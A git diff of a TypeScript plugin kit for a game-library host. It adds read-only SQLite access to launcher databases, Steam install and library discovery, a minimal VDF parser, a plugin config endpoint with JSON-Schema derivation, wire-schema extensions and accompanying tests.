Read-only SQLite over `bun:sqlite` — for launcher databases a plugin must never disturb. +// +// Lutris' `pga.db` is the motivating case: it belongs to a running application, and a scanner that +// opened it read-write could take a write lock, create `-wal`/`-shm` sidecars next to it, or (worst +// case) be blamed for a corrupted library. `immutable=1` promises the file will not change while +// open, which makes Bun skip locking entirely — the strictest possible "look, don't touch". +import { Database } from "bun:sqlite"; +import { isFile } from "./fs.js"; + +export interface ReadOnlyDb { + /** Run a query and return its rows. Returns `[]` rather than throwing on a bad query. */ + readonly query: >( + sql: string, + ...params: unknown[] + ) => T[]; + readonly close: () => void; +} + +/** + * Open a launcher database read-only and immutably. `undefined` if the file is absent or not a + * database — the normal "this launcher isn't installed" case, not an error. + * + * Always `close()` when done (or use {@link withReadOnlyDb}, which does it for you). + */ +export const openReadOnly = (file: string): ReadOnlyDb | undefined => { + if (!isFile(file)) return undefined; + let db: Database; + try { + // `readonly` alone still takes locks and can spawn WAL sidecars; `immutable=1` is what makes + // this a pure read. It is safe here precisely because a scan is a point-in-time snapshot — + // if the launcher writes mid-scan we simply pick it up on the next sync. + db = new Database(`file:${encodeURI(file)}?immutable=1`, { readonly: true }); + } catch { + return undefined; + } + return { + query: >(sql: string, ...params: unknown[]) => { + try { + return db.query(sql).all(...(params as never[])) as T[]; + } catch { + // A schema drift (a renamed column in a launcher upgrade) must degrade to "no + // titles from this source", never take the whole plugin down. + return [] as T[]; + } + }, + close: () => { + try { + db.close(); + } catch { + /* already closed */ + } + }, + }; +}; + +/** Open, use, and always close. Returns `undefined` when the database isn't there. */ +export const withReadOnlyDb = ( + file: string, + use: (db: ReadOnlyDb) => T, +): T | undefined => { + const db = openReadOnly(file); + if (!db) return undefined; + try { + return use(db); + } finally { + db.close(); + } +}; diff --git a/plugin-kit/src/library/parsers/steam-root.ts b/plugin-kit/src/library/parsers/steam-root.ts new file mode 100644 index 00000000..02865816 --- /dev/null +++ b/plugin-kit/src/library/parsers/steam-root.ts @@ -0,0 +1,104 @@ +// Where Steam lives on this host, and which `steamapps` dirs hold installed titles. +// +// Ported from the host scanner (steam.rs `steam_roots` / `steam_library_dirs`) with one deliberate +// addition and one deliberate exclusion, both about the Windows runner's account: +// +// * ADDED: HKLM `WOW6432Node\Valve\Steam\InstallPath`, so a non-default Steam install dir is +// found. The host scanner never covered this (it relied on an explorer.exe protocol fallback at +// launch time), but a plugin that can't find the root finds no games at all. +// * EXCLUDED: HKCU `Software\Valve\Steam`. The runner is LocalService, whose HKCU is its own empty +// hive, not the operator's — reading it would look like "Steam isn't installed". +import * as os from "node:os"; +import * as path from "node:path"; +import { isDir, listDir, readTextCapped } from "./fs.js"; +import { regQueryValue } from "./registry.js"; +import { vdfPaths } from "./vdf.js"; + +/** Canonicalize-ish: resolve and drop a trailing separator so dedup is reliable. */ +const norm = (p: string): string => path.resolve(p); + +/** + * Candidate Steam roots that actually exist (have a `steamapps` dir), deduped. + * + * A "root" is the Steam install itself — `userdata/`, `appcache/` and the first `steamapps/` live + * under it. Extra library folders on other drives are NOT roots; see {@link steamLibraryDirs}. + */ +export const steamRoots = (): string[] => { + const candidates: string[] = []; + if (process.platform === "win32") { + for (const v of ["ProgramFiles(x86)", "ProgramFiles", "ProgramW6432"]) { + const pf = process.env[v]; + if (pf) candidates.push(path.join(pf, "Steam")); + } + // The registry install path — covers a Steam installed somewhere other than Program Files. + for (const key of [ + "HKLM\\SOFTWARE\\WOW6432Node\\Valve\\Steam", + "HKLM\\SOFTWARE\\Valve\\Steam", + ]) { + const p = regQueryValue(key, "InstallPath"); + if (p) candidates.push(p); + } + } else { + const home = os.homedir(); + if (home) { + candidates.push( + path.join(home, ".local/share/Steam"), + path.join(home, ".steam/steam"), + path.join(home, ".steam/root"), + // Flatpak Steam + path.join(home, ".var/app/com.valvesoftware.Steam/.local/share/Steam"), + ); + } + } + const seen = new Set(); + const roots: string[] = []; + for (const c of candidates) { + const n = norm(c); + if (!seen.has(n) && isDir(path.join(n, "steamapps"))) { + seen.add(n); + roots.push(n); + } + } + return roots; +}; + +/** + * Every `steamapps` dir holding installed titles: each root's own, plus the extra library folders + * listed in its `libraryfolders.vdf` (Steam installs to other drives). + */ +export const steamLibraryDirs = (roots = steamRoots()): string[] => { + const seen = new Set(); + const dirs: string[] = []; + const push = (p: string) => { + const n = norm(p); + if (!seen.has(n) && isDir(n)) { + seen.add(n); + dirs.push(n); + } + }; + for (const root of roots) { + const steamapps = path.join(root, "steamapps"); + const text = readTextCapped(path.join(steamapps, "libraryfolders.vdf")); + if (text !== undefined) { + for (const p of vdfPaths(text)) push(path.join(p, "steamapps")); + } + push(steamapps); + } + return dirs; +}; + +/** + * Every `userdata//config` dir across all roots — one per Steam account that has signed + * in on this host. `shortcuts.vdf` and the `grid/` art overrides live here. + */ +export const steamUserConfigDirs = (roots = steamRoots()): string[] => { + const out: string[] = []; + for (const root of roots) { + const userdata = path.join(root, "userdata"); + for (const acct of listDir(userdata)) { + const cfg = path.join(userdata, acct, "config"); + if (isDir(cfg)) out.push(cfg); + } + } + return out; +}; diff --git a/plugin-kit/src/library/parsers/vdf.ts b/plugin-kit/src/library/parsers/vdf.ts new file mode 100644 index 00000000..370ddeae --- /dev/null +++ b/plugin-kit/src/library/parsers/vdf.ts @@ -0,0 +1,80 @@ +// Valve Data Format (text) — the flat-field reader Steam's `libraryfolders.vdf` and +// `appmanifest_.acf` need, ported from the host's in-tree scanner +// (crates/punktfunk-host/src/library/steam.rs `vdf_value` / `vdf_paths` / `scan_manifests`). +// +// Deliberately NOT a full VDF parser. Every field these files expose that a library plugin cares +// about sits on one line as `"key" "value"`, and a real parser would be a much larger surface to +// keep correct against a format Valve changes without notice. If you need nested values, read the +// file yourself — this is the 90% case, kept small enough to be obviously right. + +/** `"" ""` on a single line → ``. Whitespace between the two is arbitrary. */ +export const vdfValue = (line: string, key: string): string | undefined => { + const rest = line.trimStart(); + const prefix = `"${key}"`; + if (!rest.startsWith(prefix)) return undefined; + const after = rest.slice(prefix.length); + const open = after.indexOf('"'); + if (open === -1) return undefined; + const value = after.slice(open + 1); + const close = value.indexOf('"'); + if (close === -1) return undefined; + return value.slice(0, close); +}; + +/** The first `"" ""` anywhere in a multi-line document. */ +export const vdfField = (text: string, key: string): string | undefined => { + for (const line of text.split("\n")) { + const v = vdfValue(line, key); + if (v !== undefined) return v; + } + return undefined; +}; + +/** + * Every `"path" ""` value in a `libraryfolders.vdf` — the extra drives Steam installs to. + * + * On Windows the values are backslash-escaped (`D:\\SteamLibrary`), so `\\` collapses to `\`. POSIX + * paths need no unescaping, and the collapse is harmless there (a literal `\\` in a Linux path is + * vanishingly rare and was already ambiguous). + */ +export const vdfPaths = (text: string): string[] => + text + .split("\n") + .map((l) => vdfValue(l, "path")) + .filter((p): p is string => p !== undefined) + .map((p) => p.replaceAll("\\\\", "\\")); + +/** One installed title as described by its `appmanifest_.acf`. */ +export interface AppManifest { + readonly appid: number; + readonly name: string; + /** The bare folder name under this library's `common/` — resolve it yourself. */ + readonly installdir?: string; +} + +/** Parse an `.acf` manifest's flat fields. `undefined` when it carries no usable appid+name. */ +export const parseAppManifest = (text: string): AppManifest | undefined => { + const appid = Number(vdfField(text, "appid")); + const name = vdfField(text, "name"); + if (!Number.isInteger(appid) || appid <= 0 || !name) return undefined; + const installdir = vdfField(text, "installdir"); + return installdir ? { appid, name, installdir } : { appid, name }; +}; + +/** + * Steam installs runtimes and redistributables as "apps" too. A *game* library must not list them. + * Ported verbatim from the host scanner so an extracted steam plugin filters identically — the + * parity harness compares entry sets, and a stray Proton row would fail it. + */ +export const isSteamTool = (appid: number, name: string): boolean => { + // Steamworks Common Redistributables; Steam Linux Runtime 1.0/2.0/3.0 (Sniper/Soldier). + const TOOL_IDS = [228980, 1070560, 1391110, 1628350, 1493710]; + if (TOOL_IDS.includes(appid)) return true; + const n = name.toLowerCase(); + return ( + n.includes("proton") || + n.startsWith("steam linux runtime") || + n.includes("steamworks common") || + n.includes("steamvr") + ); +}; diff --git a/plugin-kit/src/react/index.tsx b/plugin-kit/src/react/index.tsx index c4857f70..61f237c3 100644 --- a/plugin-kit/src/react/index.tsx +++ b/plugin-kit/src/react/index.tsx @@ -21,14 +21,25 @@ export const resolvePluginBase = (): string => { export const useIsEmbedded = (): boolean => typeof window !== "undefined" && window.parent !== window; -/** Mirror a route into the console's address bar (best-effort, embedded only). */ +/** + * Mirror a route into the console's address bar (best-effort, embedded only). + * + * The `"*"` target origin is load-bearing and must stay: the console frames plugin UIs from a + * DIFFERENT ORIGIN than its own (they get their own port, so a plugin cannot act as the logged-in + * operator — security-review 2026-08-05 H-3). Narrowing this to `window.location.origin` would + * target the PLUGIN's origin, not the console's, and every message would be silently dropped. + * + * `"*"` is safe here because the payload is a route path the plugin itself just navigated to — + * nothing secret — and the console verifies `event.origin` against the plugin origin before acting + * on it, so the trust decision is made on the receiving side where it belongs. + */ export const postNavigate = (path: string): void => { try { if (window.parent !== window) { window.parent.postMessage({ type: "pf-ui:navigate", path }, "*"); } } catch { - // cross-origin parent or detached — deep-link sync is best-effort + // detached parent — deep-link sync is best-effort } }; diff --git a/plugin-kit/src/reconcile.ts b/plugin-kit/src/reconcile.ts index 4679f4e3..02dddd6c 100644 --- a/plugin-kit/src/reconcile.ts +++ b/plugin-kit/src/reconcile.ts @@ -9,13 +9,36 @@ import type { ProviderEntry } from "./wire.js"; export * from "./wire.js"; +/** What the host echoed back for one reconciled entry — enough to tell whether a claim took. */ +export interface ReconciledEntry { + readonly id: string; + readonly external_id?: string; + /** The store badge the host assigned: the claim when it honoured one, else `"custom"`. */ + readonly store?: string; +} + export interface ProviderClientService { - /** Full-replace reconcile: PUT the desired set; the host diffs by `external_id`. */ + /** + * Full-replace reconcile: PUT the desired set; the host diffs by `external_id`. + * + * `store` claims that store for this provider (design D2), which is what makes the entries carry + * the store's own identity — deterministic `:` ids instead of opaque + * `custom:` ones, the store's badge, and suppression of the host's matching built-in scanner + * so the two never double-list. One provider per store: a second claimant gets a 409. + * + * Returns the host's echoed entries so a caller can verify the claim actually took — a host + * predating claims ignores the query parameter silently, and the only way to notice is that the + * entries come back as `custom`. + */ readonly reconcile: ( providerId: string, entries: ReadonlyArray, - ) => Effect.Effect; - /** Remove every entry this provider owns (the explicit-uninstall path). */ + store?: string, + ) => Effect.Effect, HostRequestError>; + /** + * Remove every entry this provider owns **and release its store claim** (the explicit-uninstall + * path). Releasing is what brings the host's built-in scanner back. + */ readonly remove: (providerId: string) => Effect.Effect; } @@ -28,10 +51,25 @@ export class ProviderClient extends Context.Service< Effect.gen(function* () { const host = yield* HostClient; return { - reconcile: (providerId, entries) => + reconcile: (providerId, entries, store) => host - .request("PUT", `/library/provider/${providerId}`, entries) - .pipe(Effect.asVoid), + .request( + "PUT", + `/library/provider/${providerId}${ + store ? `?store=${encodeURIComponent(store)}` : "" + }`, + entries, + ) + .pipe( + // The host answers with its resulting entries. An older host may answer + // with something else, so treat a non-array as "no echo" rather than + // failing the sync. + Effect.map((body) => + Array.isArray(body) + ? (body as ReadonlyArray) + : [], + ), + ), remove: (providerId) => host .request("DELETE", `/library/provider/${providerId}`) diff --git a/plugin-kit/src/ui-server.ts b/plugin-kit/src/ui-server.ts index e30a223e..ca12e9b1 100644 --- a/plugin-kit/src/ui-server.ts +++ b/plugin-kit/src/ui-server.ts @@ -3,8 +3,9 @@ // register/renew/deregister through Scope. Validated end-to-end by the phase-0 spike: // core-only env layers, no platform package, SPA fallthrough preserved. import { type PluginUiHandle, servePluginUi } from "@punktfunk/host"; -import { Effect, FileSystem, Layer, Path, Scope } from "effect"; +import { Effect, FileSystem, Layer, Path, Schema, Scope } from "effect"; import { Etag, HttpPlatform, HttpRouter } from "effect/unstable/http"; +import type { ConfigService } from "./config.js"; import { UiServeError } from "./errors.js"; import { HostClient, PluginInfo } from "./host-client.js"; @@ -17,6 +18,100 @@ export const httpApiEnv = Layer.provideMerge( FileSystem.layerNoop({}), ); +/** + * Derive a JSON Schema for a config schema, for the console's generic settings form. + * + * Returns `null` when derivation isn't possible, which the console reads as "render the raw JSON + * editor instead" — the fallback that bounds this whole feature's risk. + * + * Authoring rules, verified against effect 4.0.0-beta.99 and pinned by + * `test/library-config.test.ts` — if an effect upgrade changes any of them, that test fails: + * + * * Use `Schema.Finite` / `Schema.Int`, **never `Schema.Number`** — Number's *encoded* form admits + * the strings `"NaN"`/`"Infinity"`/`"-Infinity"`, so it derives a four-way `anyOf` that no sane + * form can render as a number input. + * * A decoding default is an **Effect**: `withDecodingDefaultKey(Effect.succeed(true), …)`. Passing + * a bare thunk (`() => true`) still derives a schema and still type-checks, then dies at DECODE + * time with "Not a valid effect" — deriving is not evidence that the schema works. + * * Annotate every field: `.annotate({ title, description, default })`. The derivation does NOT + * infer `default` from `withDecodingDefaultKey`, so an un-annotated field shows no placeholder. + * * A *checked* schema (`Schema.Int`, or anything with `.check(...)`) nests its annotations and + * constraints under `allOf`, so a form must merge those branches, not read only the top level. + * * `Schema.Literals([...])` derives a clean `enum` — prefer it over a union of strings. A union of + * non-literals derives an `anyOf`, which is the JSON-editor fallback case. + * * Fields carrying `withDecodingDefaultKey(..., { encodingStrategy: "omit" })` correctly drop out + * of `required`, which is what keeps the raw file free of baked-in defaults. + */ +export const deriveConfigJsonSchema = ( + schema: Schema.Top, +): Record | null => { + try { + const doc = Schema.toJsonSchemaDocument(schema as never); + return doc as unknown as Record; + } catch { + // A schema shape the derivation can't express (a transform, a recursive ref). The console + // falls back to the JSON editor; the PUT still validates by decode, so nothing is lost but + // the pretty form. + return null; + } +}; + +/** The plugin config surface the console's settings drawer drives. */ +export interface ServeUiConfig { + /** The schema the raw file is validated against, and the form is derived from. */ + readonly schema: S; + /** The config service (from `makeConfigService`) holding the raw round-trip semantics. */ + readonly service: ConfigService; +} + +/** + * The `/__config` request handler, split out so it can be driven directly in tests (the wire shape + * is the contract the console's settings drawer codes against — it deserves a real round-trip test, + * not a mock). + * + * `ConfigService`'s effects are context-free by construction (the `PluginInfo` was resolved when the + * service was built), so this runs them straight from a plain async handler. + */ +export const makeConfigHandler = ( + cfg: ServeUiConfig, +): ((req: Request) => Promise) => { + // The derivation is stable for the life of the process — do it once, not per request. + const schema = deriveConfigJsonSchema(cfg.schema); + return async (req: Request): Promise => { + if (req.method === "GET") { + // A config file that fails to decode must not blank the whole drawer — answer with a + // null value so the operator can still see (and replace) what is on disk. + const value = await Effect.runPromise(cfg.service.loadRaw).catch( + () => null, + ); + return Response.json({ schema, value }); + } + if (req.method === "PUT") { + let body: unknown; + try { + body = await req.json(); + } catch (cause) { + return Response.json( + { error: "body must be JSON", issue: String(cause) }, + { status: 400 }, + ); + } + try { + // Validate-by-decode, persist RAW: `saveRaw` refuses a body the schema rejects and + // never writes decoded defaults back into the operator's file. + await Effect.runPromise(cfg.service.saveRaw(body)); + return Response.json({ ok: true }); + } catch (cause) { + return Response.json( + { error: "config rejected", issue: String(cause) }, + { status: 400 }, + ); + } + } + return new Response("method not allowed", { status: 405 }); + }; +}; + export interface ServeUiOptions { /** Console nav title. */ readonly title: string; @@ -26,12 +121,33 @@ export interface ServeUiOptions { readonly version?: string; /** Built SPA directory (served with SPA fallback by the SDK). */ readonly staticDir?: string | URL; + /** + * What kind of plugin this is (`[a-z][a-z0-9-]{0,31}`). `"library"` keeps the plugin out of the + * console nav — its entry point is the Library section's Game sources surface instead. + */ + readonly category?: string; + /** + * Serve `GET`/`PUT /__config` for the console's **generic settings form**, so a plugin with + * settings does not need to ship an SPA at all. + * + * `GET` answers `{schema, value}` — the derived JSON Schema (or `null`) and the raw, + * operator-authored config. `PUT` validates by decoding the body against the schema and, only + * then, persists it **raw**; defaults are never baked into the file. A rejected body comes back + * 400 with the decode issue. + * + * Auth is the existing per-boot UI secret — the console reaches this through its session-gated + * `/plugin-ui//…` proxy, so there is no new host surface and nothing new exposed to the LAN. + */ + readonly config?: ServeUiConfig; /** * The plugin API: `HttpApiBuilder.layer(api)` + group handler layers + raw routes * (e.g. `sseRoute`), with plugin services already provided. `httpApiEnv` is provided * here — only `HttpRouter` may remain open. + * + * Optional: a plugin whose only surface is `__config` (every library scanner) serves no API of + * its own, and omitting this leaves an empty router that 404s under `apiPrefix`. */ - readonly api: Layer.Layer; + readonly api?: Layer.Layer; /** Path prefix owned by the API handler (default "/api/"). */ readonly apiPrefix?: string; } @@ -54,14 +170,22 @@ export const serveUi = ( const prefix = opts.apiPrefix ?? "/api/"; const { handler, dispose } = HttpRouter.toWebHandler( - Layer.provide(opts.api, httpApiEnv), + Layer.provide(opts.api ?? Layer.empty, httpApiEnv), ); yield* Effect.addFinalizer(() => Effect.promise(() => dispose()).pipe(Effect.ignore), ); + const serveConfig = opts.config ? makeConfigHandler(opts.config) : undefined; + const fetch = async (req: Request): Promise => { const url = new URL(req.url); + // `__`-prefixed paths are the kit/SDK's own contract surface (`__health` lives in the + // SDK), deliberately checked BEFORE the API prefix and before any static asset so a + // plugin's own routes can never shadow them. + if (url.pathname === "/__config") { + return serveConfig?.(req) ?? new Response("not found", { status: 404 }); + } if (!url.pathname.startsWith(prefix)) return undefined; // → static SPA return handler(req); }; @@ -79,6 +203,9 @@ export const serveUi = ( ...(opts.staticDir !== undefined ? { staticDir: opts.staticDir } : {}), + ...(opts.category !== undefined + ? { category: opts.category } + : {}), fetch, }), catch: (cause) => new UiServeError({ cause }), diff --git a/plugin-kit/src/wire.ts b/plugin-kit/src/wire.ts index 566cc851..28ea43b6 100644 --- a/plugin-kit/src/wire.ts +++ b/plugin-kit/src/wire.ts @@ -12,12 +12,45 @@ export const Artwork = Schema.Struct({ }); export type Artwork = typeof Artwork.Type; +/** + * How the host should launch a title. **The host owns this vocabulary** — it validates the value + * per kind and builds the actual URI / command line itself, so a plugin only ever supplies a + * validated value, never a command. That is the security invariant behind the whole provider lane: + * a client sends an entry id, and the host resolves what to run. + * + * `kind` is a plain string rather than a union so the kit never has to ship a release to keep up + * with a host that grew a new kind. The kinds the host understands today: + * + * | kind | value | platforms | + * |---|---|---| + * | `command` | a shell command (operator-trust tier) | both | + * | `steam_appid` | digits — an appid, or a 64-bit non-Steam-shortcut game id | both | + * | `steam_ui` | `bigpicture` \| `desktop` — opens the Steam client itself | both | + * | `launcher_ui` | a store id (`heroic`, `lutris`) — opens that launcher's own UI | linux | + * | `lutris_id` | digits — a pga.db game id | linux | + * | `heroic` | `:`, runner ∈ legendary/gog/nile | linux | + * | `epic` | `::` or a bare appName | windows | + * | `gog` | `exe \t args \t workdir` | windows | + * | `aumid` | `!` | windows | + * + * An unknown kind is accepted on the wire and simply yields no launch recipe on that host, so a + * plugin targeting a newer host degrades to an unlaunchable tile rather than a failed reconcile. + */ export const LaunchSpec = Schema.Struct({ - kind: Schema.Literal("command"), + kind: Schema.String, value: Schema.String, }); export type LaunchSpec = typeof LaunchSpec.Type; +/** + * Whether an entry is an ordinary title or the launcher application itself (Steam Big Picture, + * Heroic, Playnite fullscreen). Launcher entries launch, lease and list exactly like games; a + * console or client that knows the field groups them into their own rail, and one that doesn't + * renders them as plain tiles. + */ +export const GameRole = Schema.Literals(["game", "launcher"]); +export type GameRole = typeof GameRole.Type; + export const PrepStep = Schema.Struct({ do: Schema.String, undo: Schema.optionalKey(Schema.NullOr(Schema.String)), @@ -43,6 +76,28 @@ export const DetectHint = Schema.Struct({ exe: Schema.optionalKey(Schema.NullOr(Schema.String)), /** The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest signal. */ process_name: Schema.optionalKey(Schema.NullOr(Schema.String)), + /** + * The Steam appid, for a title Steam itself installed. On Linux this is the **sharpest** signal + * there is: Steam wraps every launch — native or Proton — in `reaper SteamLaunch AppId=`, + * whose lifetime is exactly the game's. Send it if you have it. + */ + steam_appid: Schema.optionalKey(Schema.NullOr(Schema.Number)), + /** + * An environment variable the launcher stamps on the game's process. Load-bearing for launchers + * that run games under Proton/Wine, where the process tree tells you very little (Heroic's + * `HEROIC_APP_NAME` is the verified case). Omit `value` to match on the key's mere presence — + * only safe for a launcher that runs one game at a time. + */ + env_marker: Schema.optionalKey( + Schema.NullOr( + Schema.Struct({ + /** `[A-Za-z0-9_]{1,64}` — the host rejects anything else. */ + key: Schema.String, + /** At most 256 chars. */ + value: Schema.optionalKey(Schema.NullOr(Schema.String)), + }), + ), + ), }); export type DetectHint = typeof DetectHint.Type; @@ -76,6 +131,8 @@ export const ProviderEntry = Schema.Struct({ launch: Schema.optionalKey(Schema.NullOr(LaunchSpec)), prep: Schema.optionalKey(Schema.Array(PrepStep)), detect: Schema.optionalKey(DetectHint), + /** `"game"` (default) or `"launcher"` — see {@link GameRole}. */ + role: Schema.optionalKey(GameRole), ...GameMeta.fields, }); export type ProviderEntry = typeof ProviderEntry.Type; diff --git a/plugin-kit/test/library-config.test.ts b/plugin-kit/test/library-config.test.ts new file mode 100644 index 00000000..9c398bf0 --- /dev/null +++ b/plugin-kit/test/library-config.test.ts @@ -0,0 +1,240 @@ +// The `__config` contract — the wire shape the console's generic settings drawer codes against, +// plus the JSON-Schema derivation's committed fixture (design M0/S2). +// +// The derivation fixture is not decoration: it is the record of WHICH schema shapes the generic +// form can render. If an effect upgrade changes any of it, this test fails and the console's form +// needs re-checking before the change ships — far cheaper than discovering it on a user's box. +import { describe, expect, test } from "bun:test"; +import * as fs from "node:fs"; +import * as os from "node:os"; +import * as path from "node:path"; +import { Effect, Layer, Schema } from "effect"; +import { makeConfigService } from "../src/config.js"; +import { pluginInfoLayer } from "../src/host-client.js"; +import { deriveConfigJsonSchema, makeConfigHandler } from "../src/ui-server.js"; + +/** A representative scanner config: booleans, a string, a string array, a nested object, an enum. */ +const ScannerConfig = Schema.Struct({ + enabled: Schema.Boolean.annotate({ + title: "Enable scanning", + description: "Whether this source contributes titles.", + default: true, + }).pipe( + Schema.withDecodingDefaultKey(Effect.succeed(true), { + encodingStrategy: "omit", + }), + ), + root: Schema.optionalKey( + Schema.String.annotate({ title: "Launcher root", description: "Absolute path." }), + ), + extraRoots: Schema.Array(Schema.String) + .annotate({ title: "Extra roots" }) + .pipe( + Schema.withDecodingDefaultKey( + Effect.succeed([] as ReadonlyArray), + { encodingStrategy: "omit" }, + ), + ), + launchers: Schema.Struct({ + bigpicture: Schema.Boolean.annotate({ title: "Big Picture", default: true }), + desktop: Schema.Boolean.annotate({ title: "Desktop", default: false }), + }).pipe( + Schema.withDecodingDefaultKey( + Effect.succeed({ bigpicture: true, desktop: false }), + { encodingStrategy: "omit" }, + ), + ), + pollMinutes: Schema.Int.annotate({ + title: "Poll interval (minutes)", + default: 15, + }).pipe( + Schema.withDecodingDefaultKey(Effect.succeed(15), { + encodingStrategy: "omit", + }), + ), + artSource: Schema.Literals(["local", "cdn", "both"]) + .annotate({ title: "Art source", default: "both" }) + .pipe( + Schema.withDecodingDefaultKey(Effect.succeed("both" as const), { + encodingStrategy: "omit", + }), + ), +}); + +const props = (): Record> => { + const doc = deriveConfigJsonSchema(ScannerConfig) as { + schema: { properties: Record> }; + }; + return doc.schema.properties; +}; + +describe("S2 — JSON Schema derivation for __config", () => { + test("derives a renderable form for every shape a scanner config uses", () => { + const p = props(); + expect(p.enabled).toMatchObject({ type: "boolean" }); + expect(p.root).toMatchObject({ type: "string" }); + expect(p.extraRoots).toMatchObject({ + type: "array", + items: { type: "string" }, + }); + // A nested object stays nested — the form renders a fieldset, not a JSON blob. + expect(p.launchers).toMatchObject({ + type: "object", + properties: { bigpicture: { type: "boolean" }, desktop: { type: "boolean" } }, + }); + // A literal union derives a clean enum — prefer it over a union of strings. + expect(p.artSource).toMatchObject({ + type: "string", + enum: ["local", "cdn", "both"], + }); + }); + + test("annotations pass through — they are the ONLY source of labels and defaults", () => { + const p = props(); + expect(p.enabled.title).toBe("Enable scanning"); + expect(p.enabled.description).toBe("Whether this source contributes titles."); + // The derivation does NOT infer `default` from withDecodingDefaultKey, so an un-annotated + // field shows the form no placeholder at all. Annotate every field. + expect(p.enabled.default).toBe(true); + expect(p.artSource.default).toBe("both"); + // A CHECKED schema (Int is String-plus-a-check) nests its annotations under `allOf`, so a + // form reading `default` must merge allOf branches rather than only looking at the top level. + expect(p.pollMinutes.allOf).toEqual([ + { default: 15, title: "Poll interval (minutes)" }, + ]); + }); + + test("a decoding default is an Effect, not a thunk — and it actually applies", () => { + // The trap this pins: `withDecodingDefaultKey` takes an `Effect`, and passing a bare thunk + // (`() => true`) type-checks against the derivation path but blows up at DECODE time with + // "Not a valid effect". Deriving a schema is therefore NOT evidence that it works. + expect(Schema.decodeUnknownSync(ScannerConfig)({})).toMatchObject({ + enabled: true, + pollMinutes: 15, + artSource: "both", + launchers: { bigpicture: true, desktop: false }, + }); + }); + + test("Schema.Int derives a plain integer — Schema.Number does NOT", () => { + expect(props().pollMinutes).toMatchObject({ type: "integer" }); + // The trap, pinned: Schema.Number's ENCODED form admits "NaN"/"Infinity"/"-Infinity", so it + // derives a four-way anyOf that no number input can render. Use Finite or Int. + const bad = deriveConfigJsonSchema( + Schema.Struct({ n: Schema.Number }), + ) as { schema: { properties: { n: { anyOf?: unknown[] } } } }; + expect(Array.isArray(bad.schema.properties.n.anyOf)).toBe(true); + const ok = deriveConfigJsonSchema( + Schema.Struct({ n: Schema.Finite }), + ) as { schema: { properties: { n: { type?: string } } } }; + expect(ok.schema.properties.n.type).toBe("number"); + }); + + test("defaulted fields drop out of `required` — the raw file stays default-free", () => { + const doc = deriveConfigJsonSchema(ScannerConfig) as { + schema: { required?: string[] }; + }; + // Every field here either has a decoding default or is optionalKey, so nothing is required. + expect(doc.schema.required ?? []).toEqual([]); + }); +}); + +describe("__config wire contract", () => { + const withService = async ( + use: (handler: (req: Request) => Promise, file: string) => Promise, + ): Promise => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "pf-kit-cfg-")); + const prev = process.env.PUNKTFUNK_CONFIG_DIR; + process.env.PUNKTFUNK_CONFIG_DIR = dir; + try { + const service = await Effect.runPromise( + makeConfigService({ schema: ScannerConfig }).pipe( + Effect.provide( + Layer.mergeAll(pluginInfoLayer({ name: "steam", version: "0.1.0" })), + ), + ), + ); + return await use( + makeConfigHandler({ schema: ScannerConfig, service }), + service.path, + ); + } finally { + if (prev === undefined) delete process.env.PUNKTFUNK_CONFIG_DIR; + else process.env.PUNKTFUNK_CONFIG_DIR = prev; + fs.rmSync(dir, { recursive: true, force: true }); + } + }; + + test("GET answers {schema, value} with an absent file reading as empty", async () => { + await withService(async (handler) => { + const res = await handler(new Request("http://x/__config")); + expect(res.status).toBe(200); + const body = (await res.json()) as { schema: unknown; value: unknown }; + // Both keys are ALWAYS present and never `undefined` — the console decodes this shape, + // and an omitted-vs-null field is the wire trap that bit the rom-manager 0.3.1 release. + expect(body).toHaveProperty("schema"); + expect(body).toHaveProperty("value"); + expect(body.schema).not.toBeNull(); + // A missing config file is an EMPTY config, not an error. + expect(body.value).toEqual({}); + }); + }); + + test("PUT validates by decode, persists RAW, and never bakes in defaults", async () => { + await withService(async (handler, file) => { + const res = await handler( + new Request("http://x/__config", { + method: "PUT", + body: JSON.stringify({ enabled: false }), + }), + ); + expect(res.status).toBe(200); + // The file holds exactly what was authored — the five defaulted fields are NOT written, + // which is what keeps a future change to a default from being silently pinned. + expect(JSON.parse(fs.readFileSync(file, "utf8"))).toEqual({ + enabled: false, + }); + const get = (await ( + await handler(new Request("http://x/__config")) + ).json()) as { value: unknown }; + expect(get.value).toEqual({ enabled: false }); + }); + }); + + test("PUT rejects a body the schema refuses, with the issue, and writes nothing", async () => { + await withService(async (handler, file) => { + const res = await handler( + new Request("http://x/__config", { + method: "PUT", + body: JSON.stringify({ enabled: "yes please" }), + }), + ); + expect(res.status).toBe(400); + const body = (await res.json()) as { error: string; issue: string }; + expect(body.error).toBe("config rejected"); + expect(body.issue.length).toBeGreaterThan(0); + expect(fs.existsSync(file)).toBe(false); + }); + }); + + test("PUT rejects a non-JSON body", async () => { + await withService(async (handler) => { + const res = await handler( + new Request("http://x/__config", { method: "PUT", body: "not json" }), + ); + expect(res.status).toBe(400); + expect(((await res.json()) as { error: string }).error).toBe( + "body must be JSON", + ); + }); + }); + + test("other methods are refused", async () => { + await withService(async (handler) => { + const res = await handler( + new Request("http://x/__config", { method: "DELETE" }), + ); + expect(res.status).toBe(405); + }); + }); +}); diff --git a/plugin-kit/test/library-parity.test.ts b/plugin-kit/test/library-parity.test.ts new file mode 100644 index 00000000..2abc3f5a --- /dev/null +++ b/plugin-kit/test/library-parity.test.ts @@ -0,0 +1,186 @@ +// The parity harness is the release gate for every extracted scanner, so the thing that decides +// pass/fail needs its own tests. The cases below are the ones that actually happen during a port: +// a lost title, a wrong id, a dropped launch recipe, art whose representation changed but whose +// presence didn't, and the launcher entries the plugin legitimately adds. +import { describe, expect, test } from "bun:test"; +import { + claimedLibraryId, + diffParity, + formatParityReport, + fromHostEntry, + fromProviderEntry, + type HostGameEntry, +} from "../src/library/parity.js"; +import type { ProviderEntry } from "../src/wire.js"; + +/** What the host reports while its BUILT-IN steam scanner is producing the library. */ +const hostEntry = (over: Partial = {}): HostGameEntry => ({ + id: "steam:440", + store: "steam", + title: "Team Fortress 2", + launch: { kind: "steam_appid", value: "440" }, + // The scanner emits host-relative proxy paths the CLIENT resolves. + art: { + portrait: "/api/v1/library/art/steam:440/portrait", + hero: "/api/v1/library/art/steam:440/hero", + logo: null, + header: "/api/v1/library/art/steam:440/header", + }, + platform: "PC", + ...over, +}); + +/** What the extracted plugin produces for the same title. */ +const pluginEntry = (over: Partial = {}): ProviderEntry => + ({ + external_id: "440", + title: "Team Fortress 2", + launch: { kind: "steam_appid", value: "440" }, + // The plugin emits file:// paths and CDN URLs — a DIFFERENT representation of the same art. + art: { + 